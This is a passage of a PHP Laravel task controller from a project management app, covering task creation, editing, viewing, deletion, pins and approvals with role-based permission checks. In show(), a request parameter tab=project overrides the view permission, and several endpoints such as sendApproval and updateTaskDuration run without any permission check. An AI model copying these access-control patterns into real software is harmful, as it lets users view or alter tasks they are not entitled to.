{ // Calculate project progress if enabled $this->calculateProjectProgress($task->project_id, 'true'); } } $this->selfActiveTimer = ProjectTimeLog::selfActiveTimer(); $clockHtml = view('sections.timer_clock', $this->data)->render(); return Reply::successWithData(__('messages.updateSuccess'), ['clockHtml' => $clockHtml]); } public function milestoneChange(Request $request) { $editTaskPermission = user()->permission('edit_tasks'); $editMilestonePermission = user()->permission('edit_project_milestones'); $taskId = $request->taskId; $milestoneId = $request->milestone_id; $task = Task::withTrashed()->with('project', 'users')->findOrFail($taskId); $taskUsers = $task->users->pluck('id')->toArray(); abort_403( !( ($editTaskPermission == 'all' || ($editTaskPermission == 'owned' && in_array(user()->id, $taskUsers)) || ($editTaskPermission == 'added' && $task->added_by == user()->id) || ($task->project && ($task->project->project_admin == user()->id)) || ($editTaskPermission == 'both' && (in_array(user()->id, $taskUsers) || $task->added_by == user()->id)) || ($editTaskPermission == 'owned' && (in_array('client', user_roles()) && $task->project && ($task->project->client_id == user()->id))) || ($editTaskPermission == 'both' && (in_array('client', user_roles()) && ($task->project && ($task->project->client_id == user()->id)) || $task->added_by == user()->id)) ) &&( $editMilestonePermission == 'all' || ($editMilestonePermission == 'added' && $task->added_by == user()->id) || ($editMilestonePermission == 'owned' && in_array(user()->id, $taskUsers)) || ($editMilestonePermission == 'owned' && (in_array('client', user_roles()) && $task->project && ($task->project->client_id == user()->id))) ) ) ); $task->milestone_id = $milestoneId; $task->save(); return Reply::success(__('messages.updateSuccess')); } public function destroy(Request $request, $id) { $task = Task::with('project')->findOrFail($id); $this->deletePermission = user()->permission('delete_tasks'); $taskUsers = $task->users->pluck('id')->toArray(); abort_403( !($this->deletePermission == 'all' || ($this->deletePermission == 'owned' && in_array(user()->id, $taskUsers)) || ($task->project && ($task->project->project_admin == user()->id)) || ($this->deletePermission == 'added' && $task->added_by == user()->id) || ($this->deletePermission == 'both' && (in_array(user()->id, $taskUsers) || $task->added_by == user()->id)) || ($this->deletePermission == 'owned' && (in_array('client', user_roles()) && $task->project && ($task->project->client_id == user()->id))) || ($this->deletePermission == 'both' && (in_array('client', user_roles()) && ($task->project && ($task->project->client_id == user()->id)) || $task->added_by == user()->id)) ) ); // If it is recurring and allowed by user to delete all its recurring tasks if ($request->has('recurring') && $request->recurring == 'yes') { Task::where('recurring_task_id', $id)->delete(); } // Delete current task $task->delete(); return Reply::success(__('messages.deleteSuccess')); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function create() { $this->pageTitle = __('app.addTask'); $this->addPermission = user()->permission('add_tasks'); $this->projectShortCode = ''; $this->project = request('task_project_id') ? Project::with('projectMembers')->findOrFail(request('task_project_id')) : null; if (is_null($this->project) || ($this->project->project_admin != user()->id)) { abort_403(!in_array($this->addPermission, ['all', 'added'])); } $this->task = (request()['duplicate_task']) ? Task::with('users', 'label', 'project')->findOrFail(request()['duplicate_task'])->withCustomFields() : null; $this->selectedLabel = TaskLabel::where('task_id', request()['duplicate_task'])->get()->pluck('label_id')->toArray(); $this->projectMember = TaskUser::where('task_id', request()['duplicate_task'])->get()->pluck('user_id')->toArray(); $this->projects = Project::allProjects(true); $this->taskLabels = TaskLabelList::whereNull('project_id')->get(); $this->projectID = request()->task_project_id; if (request('task_project_id')) { $project = Project::findOrFail(request('task_project_id')); $this->projectShortCode = $project->project_short_code; $this->taskLabels = TaskLabelList::where('project_id', request('task_project_id'))->orWhere('project_id', null)->get(); $this->milestones = ProjectMilestone::where('project_id', request('task_project_id'))->whereNot('status', 'complete')->get(); } else { if ($this->task && $this->task->project) { $this->milestones = $this->task->project->incompleteMilestones; } else { $this->milestones = collect([]); } } $this->columnId = request('column_id'); $this->categories = TaskCategory::all(); $this->taskboardColumns = TaskboardColumn::orderBy('priority', 'asc')->get(); $completedTaskColumn = TaskboardColumn::where('slug', '=', 'completed')->first(); if (request()->has('default_assign') && request('default_assign') != '') { $this->defaultAssignee = request('default_assign'); } $this->dependantTasks = $completedTaskColumn ? Task::where('board_column_id', '<>', $completedTaskColumn->id) ->where('project_id', $this->projectID) ->whereNotNull('due_date')->get() : []; $this->allTasks = $completedTaskColumn ? Task::where('board_column_id', '<>', $completedTaskColumn->id)->whereNotNull('due_date')->get() : []; if (!is_null($this->project)) { if ($this->project->public) { $this->employees = User::allEmployees(null, true, ($this->addPermission == 'all' ? 'all' : null)); } else { $this->employees = $this->project->projectMembers; } } else if (!is_null($this->task) && !is_null($this->task->project_id)) { if ($this->task->project->public) { $this->employees = User::allEmployees(null, true, ($this->addPermission == 'all' ? 'all' : null)); } else { $this->employees = $this->task->project->projectMembers; } } else { if (in_array('client', user_roles())) { $this->employees = collect([]); // Do not show all employees to client } else { $this->employees = User::allEmployees(null, true, ($this->addPermission == 'all' ? 'all' : null)); } } $task = new Task(); $getCustomFieldGroupsWithFields = $task->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $userData = []; $usersData = $this->employees; foreach ($usersData as $user) { $url = route('employees.show', [$user->id]); $userData[] = ['id' => $user->id, 'value' => $user->name, 'image' => $user->image_url, 'link' => $url]; } $this->userData = $userData; $this->view = 'tasks.ajax.create'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('tasks.create', $this->data); } // The function is called for duplicate code also public function store(StoreTask $request) { $project = request('project_id') ? Project::findOrFail(request('project_id')) : null; if (is_null($project) || ($project->project_admin != user()->id)) { $this->addPermission = user()->permission('add_tasks'); abort_403(!in_array($this->addPermission, ['all', 'added'])); } DB::beginTransaction(); $ganttTaskArray = []; $gantTaskLinkArray = []; $taskBoardColumn = TaskboardColumn::where('slug', 'incomplete')->first(); $task = new Task(); $task->heading = $request->heading; $task->description = trim_editor($request->description); $dueDate = ($request->has('without_duedate')) ? null : Carbon::createFromFormat(company()->date_format, $request->due_date); $task->start_date = Carbon::createFromFormat(company()->date_format, $request->start_date); $task->due_date = $dueDate; $task->project_id = $request->project_id; $task->task_category_id = $request->category_id; $task->priority = $request->priority; $task->board_column_id = $taskBoardColumn->id; if ($request->has('dependent') && $request->has('dependent_task_id') && $request->dependent_task_id != '') { $dependentTask = Task::findOrFail($request->dependent_task_id); if (!is_null($dependentTask->due_date) && !is_null($dueDate) && $dependentTask->due_date->greaterThan($dueDate)) { /* @phpstan-ignore-line */ return Reply::error(__('messages.taskDependentDate')); } $task->dependent_task_id = $request->dependent_task_id; } $task->is_private = $request->has('is_private') ? 1 : 0; $task->billable = $request->has('billable') && $request->billable ? 1 : 0; $task->estimate_hours = $request->estimate_hours; $task->estimate_minutes = $request->estimate_minutes; if ($request->board_column_id) { $task->board_column_id = $request->board_column_id; } $waitingApprovalTaskBoardColumn = TaskboardColumn::waitingForApprovalColumn(); if($request->board_column_id == $waitingApprovalTaskBoardColumn->id){ $task->approval_send = 1; }else{ $task->approval_send = 0; } if ($request->milestone_id != '') { $task->milestone_id = $request->milestone_id; } // Add repeated task $task->repeat = $request->repeat ? 1 : 0; if ($request->has('repeat')) { $task->repeat_count = $request->repeat_count; $task->repeat_type = $request->repeat_type; $task->repeat_cycles = $request->repeat_cycles; } if ($project) { $projectLastTaskCount = Task::projectTaskCount($project->id); if (isset($project->project_short_code)) { $task->task_short_code = $project->project_short_code . '-' . $this->getTaskShortCode($project->project_short_code, $projectLastTaskCount); } else{ $task->task_short_code = $projectLastTaskCount + 1; } } $task->save(); // Save labels $task->labels()->sync($request->task_labels); if (!is_null($request->taskId)) { $taskExists = TaskFile::where('task_id', $request->taskId)->get(); if ($taskExists) { foreach ($taskExists as $taskExist) { $file = new TaskFile(); $file->user_id = $taskExist->user_id; $file->task_id = $task->id; $fileName = Files::generateNewFileName($taskExist->filename); Files::copy(TaskFile::FILE_PATH . '/' . $taskExist->task_id . '/' . $taskExist->hashname, TaskFile::FILE_PATH . '/' . $task->id . '/' . $fileName); $file->filename = $taskExist->filename; $file->hashname = $fileName; $file->size = $taskExist->size; $file->save(); $this->logTaskActivity($task->id, $this->user->id, 'fileActivity', $task->board_column_id); } } $subTask = SubTask::with(['files'])->where('task_id', $request->taskId)->get(); if ($subTask) { foreach ($subTask as $subTasks) { $subTaskData = new SubTask(); $subTaskData->title = $subTasks->title; $subTaskData->task_id = $task->id; $subTaskData->description = trim_editor($subTasks->description); if ($subTasks->start_date != '' && $subTasks->due_date != '') { $subTaskData->start_date = $subTasks->start_date; $subTaskData->due_date = $subTasks->due_date; } $subTaskData->assigned_to = $subTasks->assigned_to; $subTaskData->save(); if ($subTasks->files) { foreach ($subTasks->files as $fileData) { $file = new SubTaskFile(); $file->user_id = $fileData->user_id; $file->sub_task_id = $subTaskData->id; $fileName = Files::generateNewFileName($fileData->filename); Files::copy(SubTaskFile::FILE_PATH . '/' . $fileData->sub_task_id . '/' . $fileData->hashname, SubTaskFile::FILE_PATH . '/' . $subTaskData->id . '/' . $fileName); $file->filename = $fileData->filename; $file->hashname = $fileName; $file->size = $fileData->size; $file->save(); } } } } } // To add custom fields data if ($request->custom_fields_data) { $task->updateCustomFieldData($request->custom_fields_data); } // For gantt chart if ($request->page_name && !is_null($task->due_date) && $request->page_name == 'ganttChart') { $task = Task::find($task->id); $parentGanttId = $request->parent_gantt_id; /* @phpstan-ignore-next-line */ $taskDuration = $task->due_date->diffInDays($task->start_date); /* @phpstan-ignore-line */ $taskDuration = $taskDuration + 1; $ganttTaskArray[] = [ 'id' => $task->id, 'text' => $task->heading, 'start_date' => $task->start_date->format('Y-m-d'), /* @phpstan-ignore-line */ 'duration' => $taskDuration, 'parent' => $parentGanttId, 'taskid' => $task->id ]; $gantTaskLinkArray[] = [ 'id' => 'link_' . $task->id, 'source' => $task->dependent_task_id != '' ? $task->dependent_task_id : $parentGanttId, 'target' => $task->id, 'type' => $task->dependent_task_id != '' ? 0 : 1 ]; } DB::commit(); if (request()->add_more == 'true') { unset($request->project_id); $html = $this->create(); return Reply::successWithData(__('messages.recordSaved'), ['html' => $html, 'add_more' => true, 'taskID' => $task->id]); } if ($request->page_name && $request->page_name == 'ganttChart') { return Reply::successWithData( 'messages.recordSaved', [ 'tasks' => $ganttTaskArray, 'links' => $gantTaskLinkArray ] ); } $redirectUrl = urldecode($request->redirect_url); if ($redirectUrl == '') { $redirectUrl = route('tasks.index'); } return Reply::successWithData(__('messages.recordSaved'), ['redirectUrl' => $redirectUrl, 'taskID' => $task->id]); } /** * XXXXXXXXXXX * * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View|\Illuminate\Http\Response */ public function edit($id) { $editTaskPermission = user()->permission('edit_tasks'); $this->task = Task::with('users', 'label', 'project',)->findOrFail($id)->withCustomFields(); $this->taskUsers = $taskUsers = $this->task->users->pluck('id')->toArray(); abort_403( !($editTaskPermission == 'all' || ($editTaskPermission == 'owned' && in_array(user()->id, $taskUsers)) || ($editTaskPermission == 'added' && $this->task->added_by == user()->id) || ($this->task->project && ($this->task->project->project_admin == user()->id)) || ($editTaskPermission == 'both' && (in_array(user()->id, $taskUsers) || $this->task->added_by == user()->id)) || ($editTaskPermission == 'owned' && (in_array('client', user_roles()) && $this->task->project && ($this->task->project->client_id == user()->id))) || ($editTaskPermission == 'both' && (in_array('client', user_roles()) && ($this->task->project && ($this->task->project->client_id == user()->id)) || $this->task->added_by == user()->id)) ) ); $getCustomFieldGroupsWithFields = $this->task->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $this->pageTitle = __('modules.tasks.updateTask'); $this->labelIds = $this->task->label->pluck('label_id')->toArray(); $this->projects = Project::allProjects(true); $this->categories = TaskCategory::all(); $projectId = $this->task->project_id; if($projectId){ $this->taskLabels = TaskLabelList::where('project_id', $projectId)->orWhereNull('project_id')->get(); }else{ $this->taskLabels = TaskLabelList::whereNull('project_id')->get(); } $this->taskboardColumns = TaskboardColumn::orderBy('priority', 'asc')->get(); $this->changeStatusPermission = user()->permission('change_status'); $completedTaskColumn = TaskboardColumn::where('slug', '=', 'completed')->first(); $this->waitingApprovalTaskBoardColumn = TaskboardColumn::waitingForApprovalColumn(); if ($completedTaskColumn) { $this->allTasks = Task::where('board_column_id', '<>', $completedTaskColumn->id)->whereNotNull('due_date')->where('id', '!=', $id)->where('project_id', $projectId)->get(); } else { $this->allTasks = []; } if ($this->task->project_id) { if ($this->task->project->public) { $this->employees = User::allEmployees(null, false, ($editTaskPermission == 'all' ? 'all' : null)); } else { $this->employees = $this->task->project->projectMembersWithoutScope; } } else { if ($editTaskPermission == 'added' || $editTaskPermission == 'owned') { $this->employees = ((count($this->task->users) > 0) ? $this->task->users : User::allEmployees(null, true, ($editTaskPermission == 'all' ? 'all' : null))); } else { $this->employees = User::allEmployees(null, false, ($editTaskPermission == 'all' ? 'all' : null)); } } $uniqueId = $this->task->task_short_code; // check if unuqueId contains - if (strpos($uniqueId, '-') !== false) { $uniqueId = explode('-', $uniqueId, 2); $this->projectUniId = $uniqueId[0]; $this->taskUniId = $uniqueId[1]; } else { $this->projectUniId = ($this->task->project_id != null) ? $this->task->project->project_short_code : null; $this->taskUniId = $uniqueId; } $userId = $this->task->users->pluck('id')->toArray(); $startDate = $this->task->start_date; $dueDate = $this->task->due_date; $leaves = $this->leaves($userId, $startDate, $dueDate); if (!is_null($leaves)) { $data = []; foreach ($leaves as $key => $value) { $values = implode(', ', $value); $data[] = $key . __('modules.tasks.leaveOn') . ' ' . $values; } $this->leaveData = implode("\n", $data); /* @phpstan-ignore-line */ } $userData = []; $usersData = $this->employees; foreach ($usersData as $user) { $url = route('employees.show', [$user->id]); $userData[] = ['id' => $user->id, 'value' => $user->name, 'image' => $user->image_url, 'link' => $url]; } $this->userData = $userData; $this->view = 'tasks.ajax.edit'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('tasks.create', $this->data); } public function update(UpdateTask $request, $id) { $task = Task::with('users', 'label', 'project')->findOrFail($id)->withCustomFields(); $editTaskPermission = user()->permission('edit_tasks'); $taskUsers = $task->users->pluck('id')->toArray(); abort_403( !($editTaskPermission == 'all' || ($editTaskPermission == 'owned' && in_array(user()->id, $taskUsers)) || ($editTaskPermission == 'added' && $task->added_by == user()->id) || ($task->project && ($task->project->project_admin == user()->id)) || ($editTaskPermission == 'both' && (in_array(user()->id, $taskUsers) || $task->added_by == user()->id)) || ($editTaskPermission == 'owned' && (in_array('client', user_roles()) && $task->project && ($task->project->client_id == user()->id))) || ($editTaskPermission == 'both' && (in_array('client', user_roles()) && ($task->project && ($task->project->client_id == user()->id)) || $task->added_by == user()->id)) ) ); $dueDate = ($request->has('without_duedate')) ? null : Carbon::createFromFormat(company()->date_format, $request->due_date); $task->heading = $request->heading; $task->description = trim_editor($request->description); $task->start_date = Carbon::createFromFormat(company()->date_format, $request->start_date); $task->due_date = $dueDate; $task->task_category_id = $request->category_id; $task->priority = $request->priority; if ($request->has('board_column_id')) { $task->board_column_id = $request->board_column_id; $task->approval_send = 0; $taskBoardColumn = TaskboardColumn::findOrFail($request->board_column_id); if ($taskBoardColumn->slug == 'completed') { $task->completed_on = now()->format('Y-m-d'); } else { $task->completed_on = null; } } if($request->select_value == 'Waiting Approval'){ $taskBoardColumn = TaskboardColumn::where('column_name', $request->select_value)->where('company_id', company()->id)->first(); $task->board_column_id = $taskBoardColumn->id; $task->approval_send = 1; } $task->dependent_task_id = $request->has('dependent') && $request->has('dependent_task_id') && $request->dependent_task_id != '' ? $request->dependent_task_id : null; $task->is_private = $request->has('is_private') ? 1 : 0; $task->billable = $request->has('billable') && $request->billable ? 1 : 0; $task->estimate_hours = $request->estimate_hours; $task->estimate_minutes = $request->estimate_minutes; if ($request->project_id != '') { $task->project_id = $request->project_id; ProjectTimeLog::where('task_id', $id)->update(['project_id' => $request->project_id]); } else { $task->project_id = null; } if ($request->has('milestone_id')) { $task->milestone_id = $request->milestone_id; } if ($request->has('dependent') && $request->has('dependent_task_id') && $request->dependent_task_id != '') { $dependentTask = Task::findOrFail($request->dependent_task_id); if (!is_null($dependentTask->due_date) && !is_null($dueDate) && $dependentTask->due_date->greaterThan($dueDate)) { return Reply::error(__('messages.taskDependentDate')); } $task->dependent_task_id = $request->dependent_task_id; } // Add repeated task $task->repeat = $request->repeat ? 1 : 0; if ($request->has('repeat')) { $task->repeat_count = $request->repeat_count; $task->repeat_type = $request->repeat_type; $task->repeat_cycles = $request->repeat_cycles; } $task->load('project'); $project = $task->project; if ($project && $task->isDirty('project_id')) { $projectLastTaskCount = Task::projectTaskCount($project->id); $task->task_short_code = $project->project_short_code . '-' . $this->getTaskShortCode($project->project_short_code, $projectLastTaskCount); } $task->save(); // save labels $task->labels()->sync($request->task_labels); // To add custom fields data if ($request->custom_fields_data) { $task->updateCustomFieldData($request->custom_fields_data); } // Sync task users $task->users()->sync($request->user_id); if(!empty($request->user_id)){ $newlyAssignedUserIds = array_diff($request->user_id, $taskUsers); if (!empty($newlyAssignedUserIds)) { $newUsers = User::whereIn('id', $newlyAssignedUserIds)->get(); event(new TaskEvent($task, $newUsers, 'NewTask')); } } return Reply::successWithData(__('messages.updateSuccess'), ['redirectUrl' => route('tasks.show', $id)]); } /** * @param $projectShortCode * @param $lastProjectCount * @return mixed */ public function getTaskShortCode($projectShortCode, $lastProjectCount) { $task = Task::where('task_short_code', $projectShortCode . '-' . $lastProjectCount)->exists(); if ($task) { return $this->getTaskShortCode($projectShortCode, $lastProjectCount + 1); } return $lastProjectCount; } public function show($id) { $viewTaskFilePermission = user()->permission('view_task_files'); $viewSubTaskPermission = user()->permission('view_sub_tasks'); $this->viewTaskCommentPermission = user()->permission('view_task_comments'); $this->viewTaskNotePermission = user()->permission('view_task_notes'); $this->viewUnassignedTasksPermission = user()->permission('view_unassigned_tasks'); $this->userId = UserService::getUserId(); $this->clientIds = ClientContact::where('user_id', $this->userId)->pluck('client_id')->toArray(); $this->task = Task::with( ['boardColumn', 'project', 'users', 'label', 'approvedTimeLogs', 'mentionTask', 'approvedTimeLogs.user', 'approvedTimeLogs.activeBreak', 'comments','activeUsers', 'comments.commentEmoji', 'comments.like', 'comments.dislike', 'comments.likeUsers', 'comments.dislikeUsers', 'comments.user', 'subtasks.files', 'userActiveTimer', 'files' => function ($q) use ($viewTaskFilePermission) { if ($viewTaskFilePermission == 'added') { $q->where('added_by', $this->userId); } }, 'subtasks' => function ($q) use ($viewSubTaskPermission) { if ($viewSubTaskPermission == 'added') { $q->where('added_by', $this->userId); } }] ) ->withCount('subtasks', 'files', 'comments', 'activeTimerAll') ->findOrFail($id)->withCustomFields(); $this->taskUsers = $taskUsers = $this->task->users->pluck('id')->toArray(); $taskuserData = []; $usersData = $this->task->users; if ($this->task->createBy && !in_array($this->task->createBy->id, $taskUsers)) { $url = route('employees.show', [$this->task->createBy->user_id ?? $this->task->createBy->id]); $taskuserData[] = ['id' => $this->task->createBy->user_id ?? $this->task->createBy->id, 'value' => $this->task->createBy->user->name ?? $this->task->createBy->name, 'image' => $this->task->createBy->user->image_url ?? $this->task->createBy->image_url, 'link' => $url]; } foreach ($usersData as $user) { $url = route('employees.show', [$user->user_id ?? $user->id]); $taskuserData[] = ['id' => $user->user_id ?? $user->id, 'value' => $user->user->name ?? $user->name, 'image' => $user->user->image_url ?? $user->image_url, 'link' => $url]; } $this->taskuserData = $taskuserData; $this->taskSettings = TaskSetting::first(); $viewTaskPermission = user()->permission('view_tasks'); $mentionUser = $this->task->mentionTask->pluck('user_id')->toArray(); $overrideViewPermission = false; if (request()->has('tab') && request('tab') === 'project') { $overrideViewPermission = true; } abort_403( !( $overrideViewPermission == true || $viewTaskPermission == 'all' || ($viewTaskPermission == 'added' && $this->task->added_by == $this->userId) || ($viewTaskPermission == 'owned' && in_array($this->userId, $taskUsers)) || ($viewTaskPermission == 'both' && (in_array($this->userId, $taskUsers) || $this->task->added_by == $this->userId)) || ($viewTaskPermission == 'owned' && in_array('client', user_roles()) && $this->task->project_id && $this->task->project->client_id == $this->userId) || ($viewTaskPermission == 'both' && in_array('client', user_roles()) && $this->task->project_id && $this->task->project->client_id == $this->userId) || ($this->viewUnassignedTasksPermission == 'all' && in_array('employee', user_roles())) || ($this->task->project_id && $this->task->project->project_admin == $this->userId) || ((!is_null($this->task->mentionTask)) && in_array($this->userId, $mentionUser)) ) ); if (!$this->task->project_id || ($this->task->project_id && $this->task->project->project_admin != $this->userId)) { abort_403($this->viewUnassignedTasksPermission == 'none' && count($taskUsers) == 0 && ((is_null($this->task->mentionTask)) && in_array($userId, $mentionUser))); } if($this->task->task_short_code){ $this->pageTitle = __('app.task') . ' # ' . $this->task->task_short_code; }else{ $this->pageTitle = __('app.task'); } $this->status = TaskboardColumn::where('id', $this->task->board_column_id)->first(); $getCustomFieldGroupsWithFields = $this->task->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $this->employees = User::join('employee_details', 'users.id', '=', 'employee_details.user_id') ->leftJoin('project_time_logs', 'project_time_logs.user_id', '=', 'users.id') ->leftJoin('designations', 'employee_details.designation_id', '=', 'designations.id'); $this->employees = $this->employees->select( 'users.name', 'users.image', 'users.id', 'designations.name as designation_name' ); $this->employees = $this->employees->where('project_time_logs.task_id', '=', $id); $this->employees = $this->employees->groupBy('project_time_logs.user_id') ->orderBy('users.name') ->get(); $this->breakMinutes = ProjectTimeLogBreak::taskBreakMinutes($this->task->id); // Add Gitlab task details if available if (module_enabled('Gitlab')) { if (in_array('gitlab', user_modules()) && !is_null($this->task->project_id)) { /** @phpstan-ignore-next-line */ $this->gitlabSettings = \Modules\Gitlab\Entities\GitlabSetting::where('user_id', $this->userId)->first(); if (!$this->gitlabSettings) { /** @phpstan-ignore-next-line */ $this->gitlabSettings = \Modules\Gitlab\Entities\GitlabSetting::whereNull('user_id')->first(); } if ($this->gitlabSettings) { /** @phpstan-ignore-next-line */ Config::set('gitlab.connections.main.token', $this->gitlabSettings->personal_access_token); /** @phpstan-ignore-next-line */ Config::set('gitlab.connections.main.url', $this->gitlabSettings->gitlab_url); /** @phpstan-ignore-next-line */ $gitlabProject = \Modules\Gitlab\Entities\GitlabProject::where('project_id', $this->task->project_id)->first(); /** @phpstan-ignore-next-line */ $gitlabTask = \Modules\Gitlab\Entities\GitlabTask::where('task_id', $id)->first(); if ($gitlabTask) { /** @phpstan-ignore-next-line */ $gitlabIssue = \GrahamCampbell\GitLab\Facades\GitLab::issues()->all(intval($gitlabProject->gitlab_project_id), ['iids' => [intval($gitlabTask->gitlab_task_iid)]]); if ($gitlabIssue) { $this->gitlabIssue = $gitlabIssue[0]; } } } } } $tab = request('view'); switch ($tab) { case 'sub_task': $this->tab = 'tasks.ajax.sub_tasks'; break; case 'comments': abort_403($this->viewTaskCommentPermission == 'none'); $this->tab = 'tasks.ajax.comments'; break; case 'notes': abort_403($this->viewTaskNotePermission == 'none'); $this->tab = 'tasks.ajax.notes'; break; case 'history': $this->tab = 'tasks.ajax.history'; break; case 'time_logs': abort_403(!in_array('timelogs', user_modules())); $this->tab = 'tasks.ajax.timelogs'; break; default: if ($this->taskSettings->files == 'yes' && in_array('client', user_roles())) { $this->tab = 'tasks.ajax.files'; } elseif ($this->taskSettings->sub_task == 'yes' && in_array('client', user_roles())) { $this->tab = 'tasks.ajax.sub_tasks'; } elseif ($this->taskSettings->comments == 'yes' && in_array('client', user_roles())) { abort_403($this->viewTaskCommentPermission == 'none'); $this->tab = 'tasks.ajax.comments'; } elseif ($this->taskSettings->time_logs == 'yes' && in_array('client', user_roles())) { abort_403($this->viewTaskNotePermission == 'none'); $this->tab = 'tasks.ajax.timelogs'; } elseif ($this->taskSettings->notes == 'yes' && in_array('client', user_roles())) { abort_403($this->viewTaskNotePermission == 'none'); $this->tab = 'tasks.ajax.notes'; } elseif ($this->taskSettings->history == 'yes' && in_array('client', user_roles())) { abort_403($this->viewTaskNotePermission == 'none'); $this->tab = 'tasks.ajax.history'; } elseif (!in_array('client', user_roles())) { $this->tab = 'tasks.ajax.files'; } break; } if (request()->ajax()) { $view = request('json') ? $this->tab : 'tasks.ajax.show'; return $this->returnAjax($view); } $this->view = 'tasks.ajax.show'; return view('tasks.create', $this->data); } public function storePin(Request $request) { $userId = UserService::getUserId(); $pinned = new Pinned(); $pinned->task_id = $request->task_id; $pinned->project_id = $request->project_id; $pinned->user_id = $userId; $pinned->save(); return Reply::success(__('messages.pinnedSuccess')); } public function destroyPin(Request $request, $id) { $userId = UserService::getUserId(); $type = ($request->type == 'task') ? 'task_id' : 'project_id'; Pinned::where($type, $id)->where('user_id', $userId)->delete(); return Reply::success(__('messages.deleteSuccess')); } public function checkTask($taskID) { $task = Task::withTrashed()->findOrFail($taskID); $subTask = SubTask::where(['task_id' => $taskID, 'status' => 'incomplete'])->count(); return Reply::dataOnly(['taskCount' => $subTask, 'lastStatus' => $task->boardColumn->slug]); } public function sendApproval(Request $request){ $task = Task::findOrFail($request->taskId); $taskBoardColumn = TaskboardColumn::where('slug', 'waiting_approval')->first(); $task->approval_send = $request->isApproval ?? 0; $task->board_column_id = $taskBoardColumn->id; $task->save(); return Reply::success(__('messages.updateSuccess')); } public function waitingApproval(WaitingForApprovalDataTable $dataTable) { $viewPermission = user()->permission('view_tasks'); abort_403(!in_array($viewPermission, ['all', 'added', 'owned', 'both'])); if (!request()->ajax()) { $this->assignedTo = request()->assignedTo; if (request()->has('assignee') && request()->assignee == 'me') { $this->assignedTo = user()->id; } $this->projects = Project::allProjects(); if (in_array('client', user_roles())) { $this->clients = User::client(); } else { $this->clients = User::allClients(); } $this->employees = User::allEmployees(null, true, ($viewPermission == 'all' ? 'all' : null)); $this->taskBoardStatus = TaskboardColumn::all(); $this->taskCategories = TaskCategory::all(); $this->taskLabels = TaskLabelList::all(); $this->milestones = ProjectMilestone::all(); $taskBoardColumn = TaskboardColumn::waitingForApprovalColumn(); $projectIds = Project::where('project_admin', user()->id)->pluck('id'); if (!in_array('admin', user_roles()) && (in_array('employee', user_roles()) && $projectIds->isEmpty())) { $user = User::findOrFail(user()->id); $this->waitingApprovalCount = $user->tasks()->where('board_column_id', $taskBoardColumn->id)->count(); }elseif(!in_array('admin', user_roles()) && (in_array('employee', user_roles()) && !$projectIds->isEmpty())) { $this->waitingApprovalCount = Task::whereIn('project_id', $projectIds)->where('board_column_id', $taskBoardColumn->id)->count(); }else{ $this->waitingApprovalCount = Task::where('board_column_id', $taskBoardColumn->id)->count(); } } return $dataTable->render('tasks.waiting-approval', $this->data); } public function statusReason(Request $request){ $this->taskStatus = $request->taskStatus; $this->taskId = $request->taskId; $this->userId = $request->userId; return view('tasks.status_reason_modal', $this->data); } public function storeStatusReason(ActionTask $request){ $task = Task::findOrFail($request->taskId); $taskBoardColumn = TaskboardColumn::where('slug', $request->taskStatus)->first(); $task->board_column_id = $taskBoardColumn->id; $task->approval_send = 0; $task->save(); $comment = new TaskComment(); $comment->comment = $request->reason; $comment->task_id = $request->taskId; $comment->user_id = user()->id; $comment->save(); return Reply::dataOnly(['status' => 'success']); } public function clientDetail(Request $request) { $project = Project::with('client')->findOrFail($request->id); if (!is_null($project->client)) { $data = '
' . __('modules.projects.projectClient') . '
'; $data .= view('components.client', ['user' => $project->client]); /* @phpstan-ignore-line */ } else { $data = '

' . __('modules.projects.projectDoNotHaveClient') . '

'; } return Reply::dataOnly(['data' => $data]); } public function updateTaskDuration(Request $request, $id) { $task = Task::findOrFail($id); $task->start_date = Carbon::createFromFormat('d/m/Y', $request->start_date)->format('Y-m-d'); $task->due_date = (!is_null($task->due_date)) ? Carbon::createFromFormat('d/m/Y', $request->end_date)->addDay()->format('Y-m-d') : null; $task->save(); return Reply::success('messages.updateSuccess'); } public function projectTasks($id) { if (request()->has('for_timelogs')) { $tasks = Task::projectLogTimeTasks($id); $options = BaseModel::options($tasks, null, 'heading'); return Reply::dataOnly(['status' => 'success', 'data' => $options]); } $options = ''; $completedTaskColumn = TaskboardColumn::where('slug', '=', 'completed')->first(); $tasks = Task::where('board_column_id', '<>', $completedTaskColumn->id)->whereNotNull('due_date'); if ($id != 0 && $id != '') { $tasks = $tasks->where('project_id', $id); } $tasks = $completedTaskColumn ? $tasks->get() : []; foreach ($tasks as $item) { $options .= ''; } return Reply::dataOnly(['status' => 'success', 'data' => $options]); } public function members($id) { $options = ''; if ($id != 0) { $members = Task::with('users')->findOrFail($id); foreach ($members->users as $item) { $self_select = (user() && user()->id == $item->id) ? '' . __('app.itsYou') . '' : ''; if($item->status == 'active'){ $content = ( $item->status == 'deactive') ? "Inactive" : ''; $options .= ''; } } $startDate = $members->start_date ? $members->start_date->format('Y-m-d') : null; } return Reply::dataOnly(['status' => 'success', 'data' => $options, 'startDate' => $startDate]); } public function reminder() { $taskID = request()->id; $task = Task::with('users')->findOrFail($taskID); // Send reminder notification to user event(new TaskReminderEvent($task)); return Reply::success('messages.reminderMailSuccess'); } public function checkLeaves() { $startDate = request()->start_date ? companyToYmd(request()->start_date) : null; $dueDate = request()->due_date ? companyToYmd(request()->due_date) : null; if (request()->start_date && request()->due_date && request()->user_id) { $data = $this->leaves(request()->user_id, $startDate, $dueDate); return reply::dataOnly(['data' => $data]); } } public function leaves($userIds, $startDate, $dueDate) { $leaveDates = []; foreach ($userIds as $userId) { $leaves = Leave::with('user') ->where('user_id', $userId) ->whereBetween('leave_date', [$startDate, $dueDate]) ->get(); foreach ($leaves as $leave) { $userName[] = $leave->user->name; $leaveDates[] = $leave->leave_date->format('d,M Y'); } } if (isset($userName)) { $uniqueUser = array_unique($userName); $data = []; foreach ($uniqueUser as $name) { $data[$name] = []; foreach ($userName as $key => $value) { if ($value == $name) { $data[$name][] = $leaveDates[$key]; /** @phpstan-ignore-line */ } } } return $data; } } } 